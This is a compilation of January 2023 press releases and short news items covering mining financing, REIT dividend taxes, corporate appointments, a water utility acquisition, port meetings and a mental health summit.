TORONTO, ON / ACCESSWIRE / January 24, 2023 / Tsodilo Resources Limited (TSX Venture Exchange: TSD) ("Tsodilo" or the "Company") (TSXV:TSD)(OTCQB: TSDRF)(FSE:TZO) is pleased to announce that the negotiated non-brokered private placement (the "Private Placement") announced on January 23, 2023 has been increased to 2,500,941 units of the Company (the "Units") at a price per Unit of CDN $0.20, which will provide gross proceeds to the Company in the amount of CDN $500,188.20. Further details on the Private Placement can be found in the Company's press release dated January 23, 2023.

Closing of the Private Placement is subject to, among other things, receipt by the Company of TSX Venture Exchange approval.

About Tsodilo Resources Limited

Tsodilo Resources Limited is an international diamond and metals exploration company engaged in the search for economic diamond and metal deposits at its Bosoto (Pty) Limited ("Bosoto") and Gcwihaba Resources (Pty) Limited ("Gcwihaba") projects in Botswana. The Company has a 100% stake in Bosoto which holds the BK16 kimberlite project in the Orapa Kimberlite Field (OKF) in Botswana and a 100% stake in its Gcwihaba project area consisting of five metal (base, precious, platinum group, and rare earth) prospecting licenses all located in the North-West district of Botswana. Tsodilo manages the exploration of the Gcwihaba and Bosoto projects.

FOR FURTHER INFORMATION PLEASE CONTACT:

James M. Bruchs Chairman and Chief Executive Officer [email protected] Head Office Telephone +1 416 800-4214 Facsimile +1 416 987-4369 Website www.TsodiloResources.com

This press release may contain forward-looking statements. All statements, other than statements of historical fact, which address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future (including, without limitation, statements pertaining to the use of proceeds, the impact of strategic partnerships and statements that describe the Company's future plans, objectives or goals) are forward-looking statements. These forward-looking statements reflect the current expectations or beliefs of the Company based on information currently available to the Company. Forward-looking statements are subject to a number of risks and uncertainties that may cause the actual results of the Company to differ materially from those discussed in the forward- looking statements, and even if such actual results are realized or substantially realized, there can be no assurance that they will have the expected consequences to, or effects on the Company. Factors that could cause actual results or events to differ materially from current expectations include, among other things, changes in equity markets, changes in general economic conditions, market volatility, political developments in Botswana and surrounding countries, changes to regulations affecting the Company's activities, uncertainties relating to the availability and costs of financing needed in the future, exploration and development risks, the uncertainties involved in interpreting exploration results and the other risks involved in the mineral exploration business. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. Although the Company believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not a guarantee of future performance and accordingly undue reliance should not be put on such statements due to the inherent uncertainty therein.

Forward-looking statements are subject to a number of risks and uncertainties that may cause the actual results of the Company to differ materially from those discussed in the forward-looking statements and, even if such actual results are realized or substantially realized, there can be no assurance that they will have the expected consequences to, or effects on, the Company. Factors that could cause actual results or events to differ materially from current expectations include, among other things, uncertainties relating to availability and cost of funds, timing and content of work programs, results of exploration activities, interpretation of drilling results and other geological data, risks relating to variations in the diamond grade and kimberlite lithologies; variations in rates of recovery and breakage; estimates of grade and quality of diamonds, variations in diamond valuations and future diamond prices; the state of world diamond markets, reliability of mineral property titles, changes to regulations affecting the Company's activities, delays in obtaining or failure to obtain required project approvals, operational and infrastructure risk and other risks involved in the diamond exploration and development business. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. Although the Company believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not a guarantee of future performance and accordingly undue reliance should not be put on such statements due to their inherent uncertainty. Neither the TSX Venture Exchange ("TSXV") nor its Regulation Services Provider(as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this news release. This news release may contain assumptions, estimates, and other forward-looking statements regarding future events. Such forward-looking statements involve inherent risks and uncertainties and are subject to factors, many of which are beyond the Company's control, which may cause actual results or performance to differ materially from those currently anticipated in such statements.

SOURCE: Tsodilo Resources Limited

View source version on accesswire.com:
Jeremy Grantham warned investors that they shouldn't get too excited about the strong start from stocks this year as the popping of the US stock market bubble is not yet over.

Bloomberg reported Tuesday that Grantham, the co-founder and long-term investment strategist of GMO, said in a paper that he calculates that the value of the S&P 500 at the end of the year should be around 3,200, representing around a 20% decline from current levels.

In an interview from Boston, Grantham is said to have commented that there is a range of problems greater than usual and "maybe as great as I've ever seen."

Grantham, a well-known Wall Street bear, was quoted as saying, "there are more things that can go wrong than there are that can go right," and there is a "definite chance" that things could go wrong and that we "could have basically the system start to go completely wrong on a global basis."

He even goes on to state that there's a possibility the benchmark index could experience a "brutal decline" and fall to around 2,000.

Grantham added that while the first and "easiest" leg of the bubble's bursting is over, the next phase will be more complicated.

By Sam Boughedda
SANTA MONICA, Calif.--(BUSINESS WIRE)-- Douglas Emmett, Inc. (NYSE: DEI), a real estate investment trust (REIT), announced today the tax treatment of its 2022 common stock dividends as described below. Shareholders are encouraged to consult with their personal tax advisors as to their specific tax treatment of Douglas Emmett dividends.

Record

Date Paid

Date Dividend

Per Share Ordinary

Income Capital

Gain Return of

Capital Amount

Qualifying as a

Section 199A

Dividend 12/31/21 01/19/22 $0.28 $0.1246 $0.00 $0.1554 $0.1246 03/31/22 04/19/22 $0.28 $0.1246 $0.00 $0.1554 $0.1246 06/30/22 07/15/22 $0.28 $0.1246 $0.00 $0.1554 $0.1246 09/30/22 10/18/22 $0.28 $0.1246 $0.00 $0.1554 $0.1246 Total: $1.12 $0.4984 $0.00 $0.6216 $0.4984

As noted above, the common stock dividend paid on January 19, 2022, with a record date of December 31, 2021, has been allocated entirely to 2022. The common stock dividend of $0.19 per share that was paid on January 18, 2023, with a record date of December 30, 2022, will be allocated entirely to 2023.

About Douglas Emmett, Inc.

Douglas Emmett, Inc. (DEI) is a fully integrated, self-administered and self-managed real estate investment trust (REIT), and one of the largest owners and operators of high-quality office and multifamily properties located in the premier coastal submarkets of Los Angeles and Honolulu. Douglas Emmett focuses on owning and acquiring a substantial share of top-tier office properties and premier multifamily communities in neighborhoods that possess significant supply constraints, high-end executive housing and key lifestyle amenities. For more information about Douglas Emmett, please visit our website at www.douglasemmett.com.

Safe Harbor Statement

Except for the historical facts, the statements in this press release regarding Douglas Emmetts business activities are forward-looking statements based on the beliefs of, assumptions made by, and information currently available to us about known and unknown risks, trends, uncertainties and factors that are beyond our control or ability to predict. Although we believe that our assumptions are reasonable, they are not guarantees of future performance and some will inevitably prove to be incorrect. As a result, our actual future results can be expected to differ from our expectations, and those differences may be material. Accordingly, investors should use caution in relying on forward-looking statements to anticipate future results or trends. For a discussion of some of the risks and uncertainties that could cause actual results to differ from those contained in the forward-looking statements, see Risk Factors in our Annual Report on Form 10-K filed with the U.S. Securities and Exchange Commission.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006006/en/

Stuart McElhinney, Vice President  Investor Relations

310.255.7751 [email protected]

Source: Douglas Emmett, Inc.
Fintech startup Fabric pays consumers simply for watching ads

Using Fluree technology, Fabric verifies users are real people  not bots  which solves for identity fraud, transparency and trust for consumers and advertisers

Fabric is pioneering a new category of data rewards or cash back for consumer data and engagement that offers the opportunity to supplement existing income to anyone looking for a side hustle

WINSTON-SALEM, N.C.--(BUSINESS WIRE)-- Fluree, a company headquartered in Winston-Salem, North Carolina, which has developed a graph ledger database and data pipeline toolset for trusted-, interoperable-, secure-data management and sharing, today announced a partnership with Fabric.

Fabric is a fintech company based in Santa Monica, California, which uses Fluree technology to enable consumers to control and monetize their own personal data. Fabric removes middleman companies such as Facebook and Google that currently collect consumer data and sell it to advertisers without express permission of the individuals in question. That system has exploited people for years, benefitting corporations at the expense of those whose data theyre using.

Fabric is an example of exactly the type of use case we envisioned when we founded Fluree, said Brian Platz, Fluree co-founder and CEO. We are looking to create a world where people can control their own data and use it as they wish. With Flurees trusted ledger database, Fabric has built a business that seamlessly helps to improve the relationship between regular people and the brands appealing to them. Fluree seeks to work with disruptive organizations looking to build new applications and services that make data more sovereign and business models more equitable.

Consumers who sign up with Fabric receive payment from brands in exchange for sharing their data and providing feedback. It is pioneering a new category of data rewards in the form of cashback for consumers by merging social e-commerce and banking into one app. Consumers earn cash back by watching advertisements, racking up dollars on a Fabric-provided debit card.

Flurees blockchain data ensures advertisers know their consumers are real  eliminating fraud  while simultaneously cryptographically protecting the identities of those consumers. That same Fluree blockchain technology allows consumers to sell their personal data to advertisers they choose. The interplay between those two groups creates Fabrics dual-sided ad marketplace.

Fabric appeals to anyone looking for a side hustle to supplement their income: social-media users, full-time parents, Gen Z members, millennials and others. In the future, Fabric also will be available to those younger than 18 who receive verifiable permission from parents.

Flurees unique data management platform unlocks new opportunities for startups like Fabric that are disrupting traditional business models, said Paul Taylor, Fabric founder and CEO. Flurees technology enables Fabric to operate in a fraud-free environment, making us a perfect example of a startup that can disrupt status quo middleman-intensive industries.

Flurees merger with ZettaLabs, announced in September, has expanded the companys offerings, particularly in data management, and positioned the company well for rapid expansion next year in the global data management market. Fluree in December also announced Peter Serenita as the inaugural member of its advisory board.

Flurees products include its secure graph ledger database product Fluree Core, perfect for new projects that need digital trust and distributed data collaboration. For companies steeped in legacy infrastructure grappling with disparate data sets, data silos and outdated data-governance systems, Flurees product Fluree Sense will guide them toward a modern data architecture.

The company continues its mission of building data-centric infrastructure for its Web3 customers, enabling the power of digital trust for new applications in verifiable credentials, enterprise blockchain and decentralized-data management. Fluree also continues to assist enterprise organizations in data transformation journeys for upgrading legacy infrastructure into collaborative modern data platforms. The company seeks to help all its customers by providing data-centric architecture that simplifies governance, consolidates security and provides secure access to clean and linked data for a diverse range of data consumers.

To learn more about Fluree, please go to https://flur.ee/.

About Fluree

Co-founded in 2016 by CEO Brian Platz and Executive Chairman Flip Filipowski, Fluree PBC is headquartered in Winston-Salem, North Carolina. Fluree is pioneering a data-first technology approach with its Web3 data management platform and AI-powered data-transformation pipeline. It guarantees data integrity, facilitates secure data sharing and powers data-driven insights. The Fluree platform organizes blockchain-secured data in a scalable semantic graph database  establishing a foundational layer of trusted data for connected and secure data ecosystems. The companys foundation is a set of W3C semantic web standards that facilitate trusted data interoperability. Fluree currently employs 50. For more information, follow Fluree on Twitter or LinkedIn, or visit flur.ee.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005105/en/

Treble

Monique Beals

[email protected]

Source: Fluree
VANCOUVER, British Columbia--(BUSINESS WIRE)-- Gandeeva Therapeutics, Inc., a biotechnology company focused on designing and developing precision therapeutics guided by cryogenic electron microscopy (cryo-EM) and machine learning, announced today the appointment of Brenda G. Cooperstone, MD, as an independent member of its Board of Directors. Dr. Cooperstone is a pharmaceutical executive with more than 20 years of experience in drug development. She most recently served as the Chief Development Officer, Rare Diseases and the Pennsylvania Site Head for Pfizer Inc.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230123005821/en/

Dr. Brenda G. Cooperstone (Photo: Business Wire)

We are excited to welcome Dr. Cooperstone to Gandeevas Board of Directors, said Sriram Subramaniam, Ph.D., Founder and CEO of Gandeeva Therapeutics. Dr. Cooperstone brings significant clinical development, regulatory, and portfolio strategy experience to our team, and we are thrilled to work with her as we advance our pipeline of innovative medicines to the clinic.

I am delighted to join Gandeevas Board as the company works to achieve its groundbreaking vision of combining detailed structural understanding of proteins with cryo-EM and machine learning to develop a pipeline of differentiated drugs in oncology and other therapeutic areas, remarked Dr. Cooperstone.

Prior to joining Gandeeva Therapeutics Board of Directors, Brenda Cooperstone held key leadership positions as Pfizers Chief Development Officer, Rare Diseases, as well as Site Head in Collegeville, PA. Dr. Cooperstone also held various leadership positions at Pfizer and Wyeth across different therapeutic areas from early to late-stage clinical development and global medical affairs. Dr. Cooperstone was a pediatric nephrologist at the Scottish Rite Childrens Medical Center, an immunology research fellow at the University of Pennsylvanias Renal Electrolyte Section, and a clinical fellow in pediatric nephrology at Childrens Hospital of Philadelphia. Dr. Cooperstone earned her M.D. at McGill University and completed her clinical residency at the Montreal Childrens Hospital in pediatrics. Dr. Cooperstone also serves as an independent board member at Senti Biosciences.

About Gandeeva Therapeutics

Gandeeva Therapeutics is a precision biotechnology company integrating the power of cryogenic electron microscopy (cryo-EM) and machine learning to develop differentiated therapeutics by targeting and modulating key protein-protein interactions. Gandeevas structure-guided drug discovery platform encompasses target prediction and validation (SPOTLIGHT), hit identification by screening virtual and fragment libraries (HYPERFOCUS), and lead optimization (CRYO-CADD). Gandeeva has a robust preclinical oncology pipeline targeting difficult-to-treat cancers with novel protein interaction modulators such as interfacial glues (iGlues) and allosteric inhibitors. Gandeeva is headquartered in the Greater Vancouver area, Canada. For more information, please visit www.gandeeva.com or follow us on LinkedIn and Twitter.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230123005821/en/

Emily Wight

Communications Manager, Gandeeva Therapeutics

[email protected]

+1 778-726-4194

Source: Gandeeva Therapeutics, Inc.
BAGNEUX, France--(BUSINESS WIRE)-- Regulatory News:

Genomic Vision (Paris: GV) (FR0011799907  GV, the Company), a Euronext-listed biotechnology company that develops products and services for the highly accurate characterization of DNA sequences, today announces the appointment of Frederic Hammel as Chief Operating Officer, further strengthening its leadership team.

Frederic is an accomplished operational manager with more than 25 years of experience in the healthcare industry. Before joining Genomic Vision he was the CEO of Ethera, a company that produces in air-quality products. Prior to that, he held the position of CEO at Platine Pharma Services SAS (later acquired by a company of Bio Merieux), a contract research organization focused on immune monitoring and validation of diagnostic immune assays and of TxCell, a clinical-stage biotech developing cell-based immunotherapies. At Genomic Vision, Frederic will be responsible for managing all operational aspects of the company.

Frederic Hammel, Chief Operating Officer at Genomic Vision, said: I am thrilled to be a part of this dynamic team, committed to delivering excellence to our customers, particularly as we explore new applications for this robust technology and pave the way for advancements in genomics.

Frederic will be supported in his role by the newly appointed Director of Human Resources, Claire Fleury. She brings more than 20 years of experience in human resources, most recently at real estate company Group Horizon, and holds a BSc in Psychology from Universite de Reims-Champagne Ardennes, France and a Masters in Human Resources and Management from the University of Geneva, Switzerland. In her new role Claire will oversee Genomic Visions HR activities.

Claire Fleury, Director of Human Resources at Genomic Vision, said: "Being a part of Genomic Vision means having the belief that anything is achievable, and that the resources to make it happen are within our reach. I am thrilled to be a part of the company's teams, which are composed of experts, dynamic individuals, and positive thinkers who are working on innovative projects to improve human health.

Aaron Bensimon, Chief Executive Officer of Genomic Vision, commented: We are delighted to welcome Claire and Frederic to the Genomic Vision management team as we further establish a strong business providing exceptional genomic analysis solutions to our clients. Frederic brings extensive knowledge of the biotech field and experience in the innovative therapies, which will be a great asset to our team. Additionally, we are pleased Claire has joined us, where she will play an important role supporting our workforce and helping them reach their full potential.

About Genomic Vision

GENOMIC VISION is a biotechnology company developing products and services dedicated to the structural and functional analysis of genome modifications as well as to the quality and safety control of these modifications, in particular in genome editing technologies and biomanufacturing processes. Genomic Vision proprietary products and services, based on DNA combing technology and artificial intelligence, provide robust quantitative measurements needed for high confidence characterization of DNA alteration in the genome. These products and services are also used for monitoring DNA replication in cells to improve anti-cancerous drugs development. Genomic Vision, based near Paris in Bagneux, is a public company listed in compartment C of Euronexts regulated market in Paris (Euronext: GV  ISIN: FR0011799907).

For further information, please visit www.genomicvision.com

Member of the CAC Mid & Small and CAC All-Tradable indices

FORWARD LOOKING STATEMENT

This press release contains implicitly or explicitly certain forward-looking statements concerning Genomic Vision and its business. Such forward-looking statements are based on assumptions that Genomic Vision considers to be reasonable. However, there can be no assurance that such forward-looking statements will be verified, which statements are subject to numerous risks, including the risks set forth in the Risk Factors section of the universal registration document filed with the AMF on April 14, 2022 under reference number R.22-0293, as updated by the amendment filed with the AMF on May 20, 2022, under number D.22-0293-A01, available on the web site of Genomic Vision (www.genomicvision.com) and to the development of economic conditions, financial markets and the markets in which Genomic Vision operates. The forward-looking statements contained in this press release are also subject to risks not yet known to Genomic Vision or not currently considered material by Genomic Vision. The occurrence of all or part of such risks could cause actual results, financial conditions, performance or achievements of Genomic Vision to be materially different from such forward-looking statements.

This press release and the information contained herein do not constitute and should not be construed as an offer or an invitation to sell or subscribe, or the solicitation of any order or invitation to purchase or subscribe for Genomic Vision shares in any country. The distribution of this press release in certain countries may be a breach of applicable laws. The persons in possession of this press release must inquire about any local restrictions and comply with these restrictions.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230123005777/en/

Genomic Vision

Aaron Bensimon

CEO

Phone: +33 1 49 08 07 51

Email: [email protected]



Consilium Strategic Communications

International Investor Relations

& Strategic Communications

Tel: +44 (0) 20 3709 5700

[email protected]



Ulysse Communication

Media Relations

Bruno Arabian

Tel. : +33 1 42 68 29 70

[email protected]



NewCap

Investor relations

Phone: +33 1 44 71 94 94

Email: [email protected]

Source: Genomic Vision
The programs 2023 cohort includes seven new Ambassadors and 5 returning Ambassadors who serve as extension of the Oatey brand as they champion Oatey products across social media and beyond

CLEVELAND--(BUSINESS WIRE)-- Oatey Co., a leading manufacturer in the plumbing industry since 1916, today announced the addition of seven new plumbing and building professionals to its Social Media Ambassador Program. Through its Ambassador program, Oatey is invested in developing robust relationships with tradespeople in the field  learning from their experiences, listening to their perspectives, and partnering to promote Oatey across social media and beyond. The program is an extension of the brands robust, highly engaged social media community, through which Oatey connects with and supports its end users and tradespeople around the world.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005894/en/

Oatey Co., a leading manufacturer in the plumbing industry since 1916, today announced the addition of seven new plumbing and building professionals to its Social Media Ambassador Program. (Photo: Oatey)

The 2023 class of new Oatey Ambassadors includes experienced plumbers Evan Berns, Colin Luttrell, Nick Parlet, Jeff Keller, Nick Meritt, Justin Noftle, and Jesharelah (Shay) Lorette, collectively representing a diverse range of plumbing and building expertise from across North America. The new Ambassadors join returning Oatey Ambassadors Danielle Browne, Thomas Young, Alex Goin, Robert Broccolo, and Germaine Nelson.

Oatey Ambassadors champion the Oatey family of brands (including Oatey, Dearborn, Hercules, Cherne and more) through unique, authentic multimedia content and personal advocacy across social media and beyond. As an extension of the Oatey team, Ambassadors partner with the company on social media events, giveaways, trade shows, podcasts and more to bring the story of Oatey brands and products to life. Ambassadors also have the opportunity to travel to Oateys industry leading training facility, Oatey University, for an annual two-day Ambassador Fest event, which includes hands-on training, networking, product discussions and more. Through the many touchpoints of the program, Ambassadors benefit from expanded visibility and reach for their personal brand across the digital landscape.

At Oatey, we are incredibly passionate about supporting the talented tradespeople who use our products and support our brand every day. Our Ambassador program is a powerful way for us to connect with them and amplify their voices and phenomenal work, said Katherine Lehtinen, Senior Vice President, Brand and Digital Marketing at Oatey. We are incredibly grateful for their partnership and passion for Oatey, and we are especially pleased to welcome a third class of exceptional Ambassadors to our program.

A new class of Ambassadors will be selected each year. Individuals interested in becoming a future Oatey Ambassador can submit their information on the Oatey website for consideration.

For additional information about Oateys Social Media Ambassador Program, visit oatey.com.

ABOUT OATEY CO.

Since 1916, Oatey has provided reliable, high-quality products for the residential and commercial plumbing industries, with a commitment to delivering quality, building trust and improving lives. Today, Oatey operates a comprehensive manufacturing and distribution network to supply thousands of products for professional builders, contractors, engineers and do-it-yourself consumers around the world.

Oatey is based in Cleveland, Ohio, and has locations in the United States, Canada, Mexico and China. For more information, visit www.oatey.com, call (800) 321-9532 or follow Oatey on Facebook, Twitter, LinkedIn or Instagram.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005894/en/

John OReilly

Greenhouse Digital + PR

[email protected]

815.469.9100

Source: Oatey Co.
YEREVAN, JANUARY 24, ARMENPRESS. The CSTO continues to work towards sending an observation mission to the Armenian-Azerbaijani border, ARMENPRESS reports the rbc website said, citing CSTO Press Secretary Vladimir Zaynetdinov.

According to him, after the Armenian Prime Minister Nikol Pashinyan addressed such a request to the CSTO, the Collective Security Council developed a draft decision "On joint measures to provide assistance to the Republic of Armenia".

"Work on the draft continues. After the end of the approval procedure, the draft will be submitted for consideration by the organization's statutory bodies," Zaynetdinov noted, noting that it is early to specify the dates.
MONTREAL--(BUSINESS WIRE)-- The board of directors of Aplantex is pleased to announce the nomination of Mr. Patrick Charest, B. Sc, P. Eng. as CEO of the company.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124006018/en/

Patrick Charest, B. Sc., P. Eng.(Photo: Business Wire)

With over 25 years of experience in supporting the growth of leading private sector organizations, Patrick is a dynamic and inspiring leader with a unique ability to envision and implement successful growth strategies. Distinctively, Patrick is an engineer whose entire career has been dedicated to business development and growth-oriented activities. Strong from his long corporate experience, Patrick jumped the corporate/private fence in early 2020 to contribute to the start-up of a Calgary-based artificial intelligence and data analytics company. Following this successful experience and now fueled by the contagious momentum of the start-up world, it was just natural to have him take the leadership of another promising start-up this one in the Biotechnology realm underlines Mr. Mourad Sabri, Aplantex founder, and shareholder. Patrick holds a Biotechnology degree from Sherbrooke University as well as a Chemical Engineering degree from the same institution. He is currently enrolled in the Mini-MBA program at McGill University. He is a registered member of Ordre des Ingenieurs du Quebec.

Sharing Aplantexs vision of efficiently using its innovative green biotechnology process, it is with enthusiasm that I add my skills to those of the team to improve the availability of phytochemical elements essential to the production of health, beauty, and food products that have a positive impact on the well-being of people, says Mr. Charest. Aplantex is now in full growth mode, and we are committed at providing high-value molecules at a lower cost compared to the other production processes while simplifying the supply chain and working within ESG principles, concludes Mr. Charest.

ABOUT APLANTEX

The Aplantex scientific team has developed a unique process for the production of certified high-value molecules that enjoy strong demand from major players in many industries. The core of this green biotechnology process for efficient and sustainable phytochemistry consists of the continuous production in a controlled environment of biomass originating from photosynthetic plant replicators. This abundant biomass is dried and the extraction, fragmentation and purification stages allow the separation of the specific molecules essential to the production of popular products in the health, beauty, and food industries.

The photosynthetic plant replicators can store up to 40% of their dry weight of atmospheric CO2 and, in Quebec, can be grown year-round in a controlled environment using sustainable hydroelectric power. With its eco-friendly process, Aplantex is thus a preferred supplier for any company looking to comply with ESG criteria.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006018/en/

Patrick Charest

(514) 972-8008

[email protected]

Source: Aplantex
MECHANICSBURG, Pa.--(BUSINESS WIRE)-- Pennsylvania American Water, a subsidiary of American Water, announced today that it has signed an agreement with Elizabeth Borough Municipal Authority in Allegheny County to purchase its wastewater system assets for $28 million. The system serves approximately 2,200 customers within Elizabeth Borough, Elizabeth Township, Forward Township, and portions of Lincoln Borough.

Pennsylvania American Water has been providing safe drinking water to area residents for decades, and we are excited to be selected as the future wastewater provider to these Mon Valley communities, said Pennsylvania American Water President Justin Ladner. We look forward to adding these customers to the more than 96,000 households and businesses across the Commonwealth that already rely on Pennsylvania American Water to expertly operate, manage and invest in their wastewater systems.

The authority initially issued a request for bids in November 2021 for the potential sale of its wastewater system, citing that proceeds from the sale would be invested and used to fund other township capital improvement projects. The agreement follows a recent vote by the Elizabeth Borough Municipal Authority Board to accept Pennsylvania American Waters bid.

Throughout this competitive bid process, Pennsylvania American Water has reaffirmed its long-standing reputation as an excellent community partner who is dedicated to providing high-level service, said Elizabeth Borough Mayor Barry Boucher. The sale of our sewage system will relieve the need to continually invest in an aging system and enables our historic town to focus on more important community needs, such as taking Elizabeth back to our vibrant, traditional roots.

Upon ownership, Pennsylvania American Water plans to invest approximately $20.4 million by 2028 to meet regulatory requirements, make targeted improvements to address inflow and infiltration, add new technology and control systems, and improve safety and security.

As part of the agreement, Pennsylvania American Water will adopt the authoritys wastewater rates at the time of closing. The companys rates are set by the Pennsylvania Public Utility Commission (PUC), and any future rate changes would have to be reviewed and approved by the PUC. The company also offers grants and monthly bill discounts to qualifying low-income water and wastewater customers through its H2O Help to Others Program.

Pennsylvania American Water and the Elizabeth Borough Municipal Authority Board will seek approval of the acquisition from the PUC and other necessary approvals from the Pennsylvania Department of Environmental Protection. The transaction is expected to close by the end of 2023 or early 2024, pending regulatory approvals.

About Pennsylvania American Water

Pennsylvania American Water, a subsidiary of American Water (NYSE: AWK), is the largest investor-owned water utility in the state, providing high-quality and reliable water and wastewater services to approximately 2.4 million people.

About American Water

With a history dating back to 1886, American Water is the largest and most geographically diverse U.S. publicly traded water and wastewater utility company. The company employs approximately 6,400 dedicated professionals who provide regulated and regulated-like drinking water and wastewater services to an estimated 14 million people in 24 states. American Water provides safe, clean, affordable and reliable water services to our customers to help keep their lives flowing. For more information, visit amwater.com and follow American Water on Twitter, Facebook and LinkedIn.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006086/en/

Media:

Gary Lobaugh

Senior Manager, Government and External Affairs - Western PA

Pennsylvania American Water

724.944.5148

[email protected]

Source: American Water Pennsylvania
Thursday, January 26, 2023

HOUSTON--(BUSINESS WIRE)-- The Port Commission of the Port of Houston Authority will hold its first Regular Meeting of the year on Thursday, January 26, 2023, beginning at 11:00 a.m. A quorum of the Port Commission, along with executive leadership, will be present in the boardroom of the Port Houston Executive Office Building, located at 111 East Loop North, Houston, TX 77029.

It will be conducted as a hybrid meeting open to the public to attend in person or accessed virtually via WebEx webinar.

The agenda and instructions for accessing Port Houston public meetings are available at https://www.porthouston.com/about/public-meetings/agendas-minutes/

On Thursday, January 26, the following Committee Meetings will also take place:

The Audit Committee meeting will begin at 10:30 am, followed by the Regular Port Commission meeting scheduled to start at 11:00 a.m.

The Business Equity Committee meeting will begin after the conclusion of the Port Commission meeting.

Upcoming Port Houston public meetings (subject to change):

 Tuesday, February 21 at 9:00 a.m. Port Commission Regular Meeting  Monday, March 20 at 9:00 a.m. Port Commission Regular Meeting

Sign-up for public comment is available up to an hour before the meeting by contacting Erik Eriksson at [email protected] or Liana Christian at [email protected].

About Port Houston

For more than 100 years, Port Houston has owned and operated the public wharves and terminals along the Houston Ship Channel  the nations largest port for waterborne tonnage and an essential economic engine for the Houston region, the state of Texas, and the U.S. nation. The more than 200 private and eight public terminals along the federal waterway supports the creation of nearly 1.35 million jobs in Texas and 3.2 million jobs nationwide, and economic activity totaling $339 billion in Texas  20.6% of Texas total gross domestic product (GDP)  and a total of $801.9 billion in economic impact across the nation. For more information, visit the website: https://porthouston.com/

View source version on businesswire.com: https://www.businesswire.com/news/home/20230123005816/en/

Lisa Ashley-Daniels, Director, Media Relations, Port Houston

Office: 713-670-2644; Mobile: 832-247-8179; E-mail: [email protected]

Source: Port Houston
DALLAS--(BUSINESS WIRE)-- Texas Pacific Land Corporation (NYSE: TPL) (the Company or TPL) today announced that it intends to further adjourn its 2022 annual meeting of stockholders (as further adjourned, the 2022 Annual Meeting). The 2022 Annual Meeting, which had originally been adjourned to February 14, 2023, will be further adjourned to May 18, 2023 at 10:30 am Central Time at the Companys offices located at 1700 Pacific Avenue, Suite 2900, Dallas, Texas.

The Delaware Court of Chancery has set a one-day trial currently scheduled to be held on April 17, 2023 to hear arguments regarding the Companys disagreement with Horizon Kinetics LLC, Horizon Kinetics Asset Management LLC, SoftVest Advisors LLC, and SoftVest, L.P. over their voting commitments pursuant to a stockholders agreement with the Company. The adjournment of the 2022 Annual Meeting is intended to provide the Delaware Court of Chancery sufficient time to issue a ruling and stockholders the opportunity to evaluate such ruling prior to the Company reconvening the 2022 Annual Meeting.

The 2022 Annual Meeting will reconvene on February 14, 2023 only to immediately further adjourn without conducting any other business; accordingly, the Company recommends stockholders not attend on February 14, 2023. A revised notice for the 2022 Annual Meeting will be sent to stockholders in due course. The record date for the 2022 Annual Meeting remains the close of business on September 22, 2022.

If you have any questions about this announcement, please contact Investor Relations at 1700 Pacific Avenue, Suite 2900, Dallas, Texas, 75201 or [email protected].

About Texas Pacific Land Corporation

Texas Pacific Land Corporation is one of the largest landowners in the State of Texas with approximately 880,000 acres of land in West Texas, with the majority of its ownership concentrated in the Permian Basin. The Company is not an oil and gas producer, but its surface and royalty ownership provide revenue opportunities throughout the life cycle of a well. These revenue opportunities include fixed fee payments for use of our land, revenue for sales of materials (caliche) used in the construction of infrastructure, providing sourced water and/or treated produced water, revenue from our oil and gas royalty interests, and revenues related to saltwater disposal on our land. The Company also generates revenue from pipeline, power line and utility easements, commercial leases and temporary permits related to a variety of land uses including midstream infrastructure projects and hydrocarbon processing facilities.

Visit TPL at http://www.TexasPacific.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124006107/en/

Investor Relations

[email protected]

Source: Texas Pacific Land Corporation
Event co-sponsored by University of Phoenix chapter of the National Society of Leadership and Success

PHOENIX--(BUSINESS WIRE)-- University of Phoenix recently hosted the Social Roots, LLC event ATTITUDE: A Mental Health Summit for African American Women 2023 at the University campus in Phoenix, January 1415, 2023. The event was co-sponsored by the University of Phoenix chapter of the National Society of Leadership and Success (NSLS).

The Social Roots mental health summit provided attendees an opportunity to examine generational trauma, mental health topics and come together to share stories and resources in a supportive and open environment, Director of Student Diversity & Inclusion Tondra Richardson shares. By supporting the Summit and establishing a safe space while engaging our student population, we assisted in creating a comfortable atmosphere for women of color to openly share their experiences to build a strong sense of community and belonging.

The Social Roots event, created by and for the African American community, aims to challenge attitudes and stigma about mental and behavioral health experienced in African American communities. The event is intended to provide opportunities to engage and explore mental health concerns with African American women professionals. Attendees can choose from diverse and culturally relevant workshops, including sessions on grief and healing, infertility, storytelling, sound therapy and yoga.

I had such a wonderful time while attending the 2023 Social Roots Summit, shares University of Phoenix student Rahimah Phillips. It was uplifting and amazing, and what I remember most is one of the speakers saying once we leave, someone should be able to tell that we participated in this Summit - that we should walk and talk differently! After I arrived home, a friend called me without knowing I had attended the event and he said my voice sounded different  that I sounded excited and invigorated.

Phillips summit ticket was sponsored by the University of Phoenix chapter of the NSLS, which is a Recognized Student Organization (RSO); RSOs are an important opportunity through which the University helps its students to build networks, social capital, career optimism, and confidence. Under the general guidance of a volunteer Faculty Advisor or University Liaison, RSOs are wholly initiated, installed and chartered, led, and maintained by students enrolled at University of Phoenix.

The Social Roots mental health summit is part of a series of events with which the University of Phoenix Office of Educational Equity (OEE) engages aiming to foster cultural awareness, thought leadership and community alliances to promote and sustain educational equity and diversity initiatives.

